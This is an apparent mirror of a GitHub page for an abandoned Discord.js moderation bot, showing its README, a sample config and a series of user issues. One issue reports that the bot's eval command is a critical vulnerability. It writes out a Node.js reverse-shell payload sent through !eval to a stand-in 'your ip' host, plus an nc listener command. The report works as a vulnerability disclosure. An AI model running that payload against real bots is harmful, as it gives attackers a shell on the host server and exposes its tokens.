Giter Club home page Giter Club logo

discordbot's Introduction

NdT3 Discord Bot

Development has been stopped

Read more at https://blog.truewinter.dev/2020/04/09/development-and-support-for-my-discord-bot-has-been-stopped

This is my first Discord bot made using Discord.js.

It currently has these features:

  • Kicking users
  • Banning users
  • Ping command
  • Eval command
  • Purge
  • Say command (says what you tell it to say)
  • Stats
  • Stopping the bot using a command
  • Testing command (Testing, testing, 1 2 3)
  • Change settings command
  • Embed command (basic, using RichEmbed)
  • Deleted message logs
  • Invite link filter
  • Web Dashboard
  • Music Commands (Code from: https://github.com/iCrawl/Music-Bot)

Upcoming Features

  • Change of database

Installation

First of all, clone this repository.

This bot requires Node.js v8+ (and npm) to run.

Also, please make a channel for mod logs in your Discord server.

Once you have that done, edit the config.js.example file and then rename the file to config.js. Make sure the callback URL specified is in the format of {{http|https}}{{domain_name}}/callback (Examples: https://dashoard.bot-website.com/callback OR http://dashboard.bot-website.com/callback OR http://localhost:33445/callback). This should be the public URL (proxied URL (by something like Nginx) is recommended).

Bot Application

Example Configuration

config.js

/* eslint-disable */
var config = { // NOTE: DO NOT LEAVE ANYTHING BLANK
	// ALL settings are strings. Do NOT just use true or false, use these in strings such as 'true' or 'false'. This is due to how some code works when changing the settings
	ownerID: '123456789012345678', // Your ID here
	token: 'Mxfxawx-token021kxxmkalpr-m', // Your bot token here
	status: 'dnd', // Bot status [online/idle/invisible/dnd]
	debug: 'false', // This is used to output some debug info if needed. The token will be in the console and other information could be in the console
	playingGame: '{{prefix}}help | {{guilds}} guilds | v{{version}}', // The game you want the bot to play. {{prefix}} is replaced with the default prefix below, {{guilds}} is replaced with the guild count and {{version}} is replaced with the bot version. Leave blank to disable
	purgeLogFormat: '\n Message ID: {{mID}} | Message Timestamp: {{mTS}} | Content: {{mC}} \n', // {{mID}}: Message ID; {{mTS}} Message Timestamp; {{mC}}: Message Content;
	eightBallResponses: ['Yes', 'No', 'Certainly', 'My sources say yes', 'Try again later', 'Without a doubt', 'Better not to tell you now'], // An array of responses for the 8ball command
  googleAPIToken: 'AI-241scsc', // Used for link shortener and music features. You need to have these APIs enabled.
  logTimeFormat: 'D MMM YYYY HH:mm:ss ZZ',
  musicEnabled: 'true',
	defaultSettings: {
		prefix: '!',
		modLogChannel: 'mod-log',
		modRole: 'Moderator',
		adminRole: 'Admin',
		welcomeChannel: 'general',
		welcomeMessage: 'Welcome {{user}}!',
		welcomeEnabled: 'false',
		inviteFilterEnabled: 'false',
		inviteWhitelist: ['discord-testers', 'discord-developers'], // This can be changed, these are just defaults as an example
		facepalms: 'false', // If enabled, the bot will reply with the facepalm emoji whenever a message contains 'facepalm'
		swearFilter: 'false',
		swearWords: ['damn'], // An array of swear words. These should be lowercase. (of course, I have not included much for certain reasons...)
		logDeletes: 'true',
		logNewMember: 'true',
		logMemberLeave: 'true',
		logCommandUsage: 'true',
		logPurge: 'true',
		sendHelp: 'channel' // Available options: channel, dm
	},
	dashboard: {
		enabled: 'true', // This setting controls whether the dashboard is enabled or not.
		oauthSecret: '0eFle4ArGsecret0sa', // The client secret from the Discord bot page
		secure: 'false', // HTTPS: 'true' for true, 'false' for false
		sessionSecret: '-crazyKeyboard-qwaszxerdfcvtyghbnuijkmopl', // Go crazy on the keyboard here, this is used as a session secret
		domain: 'dashboard.bot-website.com', // Domain name (with port if not running behind proxy running on port 80). Example: 'domain': 'dashboard.bot-website.com' OR 'domain': 'localhost:33445'
		port: '33445', // The port that it should run on
		invitePerm: '536079575',
		protectStats: 'false',
		borderedStats: 'false', // Controls whether stats in the dashboard should have a border or not
		legalTemplates: {
			contactEmail: '[email protected]', // This email will be used in the legal page of the dashboard if someone needs to contact you for any reason regarding this page
			lastEdited: '18 November 2017' // Change this if you update the `TERMS.md` or `PRIVACY.md` files in `dashboard/public/`
		}
	}
};

module.exports = config;

In the config file above, the callbackURL would be set by the code to https://dashboard.bot-website.com/callback.

It is recommended to run the dashboard with a proxy (like Nginx)

Nginx Configuration

server {
    listen 80;

    server_name dashboard.bot-website.com;

    location / {
        proxy_pass http://127.0.0.1:33445;
    }
}

After that, you can install the dependencies and start the bot

You can use the command line

$ cd DiscordBot
$ npm install
$ npm start

OR start the bot using the linux_run.sh for Linux or windows_run.bat for Windows. These files may be outdated.

NOTE: Running the bot with a process manager (like PM2) is recommended.

This bot must be run on a Discord bot account. Do NOT try to run this on a normal user account. This is against the Discord Terms of Service.

Also, do NOT play with the eval or exex command. You have been warned.

Changes to the Code

You may change code if needed under the following conditions:

For the dashboard, you may change the theme, wording, design, links, etc. however I will not accept any bug reports coming from this. You will also agree to not remove the copyright notice in the footer. You may add your name here, however, you must keep the original wording used.

ALL copyright notices and credits must be kept as is, not edited in any way (except for adding your own name) and not removed.

Contributing

Want to contribute?

NdT3 Discord Bot is written in Discord.js. If you want to add a feature or work on the code, feel free make a pull request and your code might be accepted.

Credits

Privacy:

Please read the PRIVACY.md file.

License:

Please read the LICENSE file

discordbot's People

Contributors

chinesemarc avatar truewinter avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

discordbot's Issues

Critical Vulnerability

You have a error in your eval function,
possibly the discord/google or any token could be leaked,
also a reverse sheel could be opened!
For example:
!eval client.token.replace('x','X')
returns the token, but with a Capital X.
You could start a reverse shell with:
!eval var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(port,"your ip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);})
but before you need to start a Server in the bash:
nc -l 9090

I would suggest that you remove the eval function

Getting an error for the `reason` command

When I ban/Unban someone, It tells me to use the reason command.
I use !reason 2 Test for example and it says:
TypeError: Cannot read property '0' of undefined
Around the

        modLog.fetchMessages(caseLog.id).then(logMsg => {
            const embed = logMsg.embeds[0];
            embedSan(embed);

section
If anyone could help me get this working I'll be super delighted!
Thanks, DieselJS

Music Commands

Already have the code from a music bot, just need to make it compatible with this bot and add it in. Will probably add a config option in so that the music part of the bot can be disabled (useful for if it is not needed or if the server hosting the bot is not powerful enough for it)

Login redirects to broken URL

I am running this bot on Glitch and the both the login button and links take me to a bad URL.
There are no errors in the logs and I have not changed anything in the dashboard.js file.

Images for context:
image
Screen Shot 2019-07-19 at 9 06 29 PM

I can tell that the client id is in the wrong place in the url but everything is in the correct order in dashboard.js

Feature Request: Web Dashboard

Will possibly not be added due to the time that it would take. Unsure

UPDATE: OAuth2 has been partly completed
UPDATE 2: A dashboard for another bot has been released that is compatible with the bot that this bot is based on

Stats page

TypeError: moment.duration(...).format is not a function
Hmm``

!play is broken

!play is broken, it expects YouTube video ID only and gives error in console.

Uncaught Exception: TypeError: Cannot read property 'has' of undefined

I was wondering if you could help me fix this problem.

Uncaught Exception: TypeError: Cannot read property 'has' of undefined

it's happening in the message.js file in the events folder with this:

if (client.talkedRecently.has(message.author.id)) { return message.reply(You need to wait ${parseInt(guildSettings.commandTimeout)}ms seconds between each command); }

[email protected] install: `prebuild-install || node-gyp rebuild`

jsnpm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! [email protected] install: prebuild-install || node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\Keaton Oliver\AppData\Roaming\npm-cache_logs\2019-06-04T19_36_07_442Z-debug.log

Could someone please help.

Error when user joins server

The guildMemberAdd event gives an error and in some cases even crashes the bot due to bad code. Fixed in a dev version of the bot, the change will probably only be pushed in bot version 4.0.0.

[email protected] install: `prebuild-install || node-gyp rebuild`

gyp ERR! build error
gyp ERR! stack Error: C:\Program Files (x86)\Microsoft Visual Studio\2017\BuildTools\MSBuild\15.0\Bin\MSBuild.exe failed with exit code: 1
gyp ERR! stack at ChildProcess.onExit (C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\lib\build.js:262:23)
gyp ERR! stack at ChildProcess.emit (events.js:198:13)
gyp ERR! stack at Process.ChildProcess._handle.onexit (internal/child_process.js:248:12)
gyp ERR! System Windows_NT 10.0.17763
gyp ERR! command "C:\Program Files\nodejs\node.exe" "C:\Program Files\nodejs\node_modules\npm\node_modules\node-gyp\bin\node-gyp.js" "rebuild"
gyp ERR! cwd C:\Users\Administrator\Desktop\Moi\node_modules\leveldown
gyp ERR! node -v v10.16.0
gyp ERR! node-gyp -v v3.8.0
gyp ERR! not ok
npm WARN [email protected] requires a peer of erlpack@hammerandchisel/erlpack but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of node-opus@^0.2.6 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of opusscript@^0.0.3 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of sodium@^2.0.1 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of libsodium-wrappers@^0.5.4 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] requires a peer of uws@^0.14.5 but none is installed. You must install peer dependencies yourself.
npm WARN [email protected] No repository field.

npm ERR! code ELIFECYCLE
npm ERR! errno 1
npm ERR! [email protected] install: prebuild-install || node-gyp rebuild
npm ERR! Exit status 1
npm ERR!
npm ERR! Failed at the [email protected] install script.
npm ERR! This is probably not a problem with npm. There is likely additional logging output above.

npm ERR! A complete log of this run can be found in:
npm ERR! C:\Users\Administrator\AppData\Roaming\npm-cache_logs\2019-07-06T22_47_11_763Z-debug.log

Can't add more pages to the dashboard.

Hello. I've been trying to add more pages to the web dashboard of the bot, but it seems that it isn't working. I still haven't tried to add an ejs page, but the app.get events I've added aren't firing.

For example, I have this code for an API I'm developing:

app.get("/api/:action", async (req, res) => {
let action = req.params.action
	  if (action) {
   //Alot of code
	  } else {
      res.send('Invalid API call method.')
  }
});

And I already tried to change async (req, res) => { to async function (req, res) and still don't work. Any idea of what's going on?

Bot Database

Change the bot database to use something like SQLite.
This will allow for much better data storage, such as support for better warnings and being able to store cases in a database which will help with issues seen recently that have caused the new case number system to not work as intended.
(That's going to push the next version back a bit)

setGame not working

setGame does not work (no playing status on startup) probably due to Discord API changes. Have to implement a workaround for this issue.

Error

Uncaught Exception: TypeError: guildSettings.swearWords.someword is not a function
how this possible ?

Login does not work

The login button on the dashboard does not run properly and always comes into an error

Feature Request: `update` command

When used, this command will get the latest commit from GitHub and restart the bot. After the bot has restarted, the user will have to run a command such as update guildSettings to update the per guild settings if there are any new configuration options for these.

.

Don't worry too much about this issue. Had some issues with GitHub which required opening an issue but it seems to be resolved now.

Bot Dashboard

I hosted this bot on Heroku, and noded, it was online and working, just dashboard not work when we host somewhere else than locally , when i host locally its running fine, but on heroku it ..... Any idea whats it?

Help command

Hey sorry to bother you again. I was wondering if you could help me with something. I am trying to change the help command. I want to remove the descriptions and show just the command names like this: ban, unban, mute etc. I am having a hard time figuring that out.

This is what I have atm:
`
const Discord = require('discord.js');

exports.run = (client, message, args, level) => {
var time = Date.now();

if (!args[0]) {
	const myCommands = client.commands.filter(c => c.conf.permLevel <= level);
	const commandNames = myCommands.keyArray();
	const longest = commandNames.reduce((long, str) => Math.max(long, str.length), 0);
	let currentCategory = '';
	//var embed = new Discord.RichEmbed();
	//let output = `= Command List =\n\n[Use [prefix]help <commandname> for details]\n`;
	var embeds = [];
	embeds[0] = new Discord.RichEmbed();
	embeds[0].setTitle(`Commands List`);
	embeds[0].setDescription(' \n (Use [prefix]help [command name] for details)');
	embeds[0].setAuthor(client.user.username, client.user.avatarURL || client.user.defaultAvatarURL);
	const sorted = myCommands.sort((p, c) => p.help.category > c.help.category ? 1 : -1);

	//console.log(sorted);
	//console.log(sorted.entries());

	var i = 0;
	var eN = 0;
	sorted.forEach(c => {
		i++;
		//console.log(i);
		if (i % 18 === 0) {
			eN++;
			//console.log(eN);
			embeds[eN] = new Discord.RichEmbed();
			//console.log(embeds);
		}
		const cat = c.help.category.toProperCase();
		if (currentCategory !== cat) {
			//if (message.channel.type !== 'dm' || cat !== 'Moderation') {
			//output += `\n== ${cat} ==\n`;
			embeds[eN].addField('===', `**${cat}**`);
			//}
			//output += `\n== ${cat} ==\n`;
			currentCategory = cat;
		}
		//if (cat === 'Moderation' && message.channel.type === 'dm') {
		//output += '';
		//} else {
		//output += `${c.help.name}${' '.repeat(longest - c.help.name.length)} :: ${c.help.description}\n`;
		embeds[eN].addField(`${c.help.name}`/*${' '.repeat(longest - c.help.name.length)}`, c.help.description*/);
		//}
	});

	//if (output.length > 1800) { // Had to add this
	//var chunks = [];

	//for (var i = 0, charsLength = output.length; i < charsLength; i += 1800) {
	//chunks.push('```' + output.substring(i, i + 1800) + '```'); // eslint-disable-line prefer-template, no-useless-escape, newline-per-chained-call
	//}

	//console.log(chunks);
	//for (var c = 0; c < chunks.length; c++) {
	//endOutput += chunks[i];
	if (message.channel.type === 'dm' || client.settings.get(message.guild.id).sendHelp === 'channel') {
		//message.channel.send(output, {code:'asciidoc', split: true}).catch(console.error); 
		//message.channel.send({ embed, split:true}).catch((err) => { console.error(err); });
		var eNumber = 0;
		embeds.forEach((e) => {
			eNumber++;
			e.setColor('11806A');
			if (eNumber === embeds.length) {
				e.setFooter(`Time taken: ${Date.now() - time}ms`);
			}
			message.channel.send({ embed: e }).catch((err) => { console.error(err); });
		});
	} else {
		//message.author.send(output, {code:'asciidoc', split: true}).catch(console.error);
		//message.channel.send({ embed, split:true}).catch((err) => { console.error(err); });
		embeds.forEach((e) => {
			e.setColor('11806A');
			e.setFooter(`Time taken: ${Date.now() - time}`);
			message.channel.send({ embed: e }).catch((err) => { console.error(err); });
		});
		message.react('๐Ÿ‘');
	}
	//}

	//var helpEmbed = new Discord.RichEmbed()
	//.setTitle('Commands')
	//.setDescription(`\`\`\`asciidoc\n${output}\`\`\``);
	//}
} else {
	let command = args[0];
	if (client.commands.has(command) || client.aliases.has(command)) {
		command = client.commands.get(command) || client.commands.get(client.aliases.get(command));
		//message.channel.send(`= ${command.help.name} = \n${command.help.description}\nusage::${command.help.usage}`, { code: 'asciidoc' });
		var aliases;
		if (command.conf.aliases.length === 0) {
			aliases = 'NONE';
		} else {
			aliases = command.conf.aliases;
		}

		//console.log(aliases);
		var hEmbed = new Discord.RichEmbed()
			.setTitle(`Command Help: ${command.help.name}`)
			.addField('Description', command.help.description)
			.addField('Category', command.help.category)
			.addField('Usage', command.help.usage)
			.addField('Enabled', command.conf.enabled)
			.addField('Disabled in DMs', command.conf.guildOnly)
			.addField('Aliases', aliases)
			.addField('Permission Level', command.conf.permLevel)
			.setFooter(`Time taken: ${Date.now() - time}ms`);

		if (message.channel.type === 'dm' || client.settings.get(message.guild.id).sendHelp === 'channel') {
			message.channel.send({ embed: hEmbed });
		} else {
			message.author.send({ embed: hEmbed });
			message.react('๐Ÿ‘');
		}
	} else {
		return message.reply('Command not found');
	}
}

};

exports.conf = {
enabled: true,
guildOnly: false,
aliases: ['h', 'halp'],
permLevel: 0
};

exports.help = {
name: 'help',
category: 'System',
description: 'Displays all the available commands for your permission level.',
usage: 'help\nhelp [command]'
};
`

I can't figure out what I am doing wrong cause it outputs this:
image

Per server settings not working

Per server settings have a strange behaviour where if a setting is changed for a server (using the set command and probably also the dashboard), all settings including the defaultSettings in memory is changed. Noticed this in the dev version of the bot

I broke the config

I don't know why I did it, but instead of doing require(./config.js), I did require(./config) which broke the code as there is not a file called config. Will fix later today.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.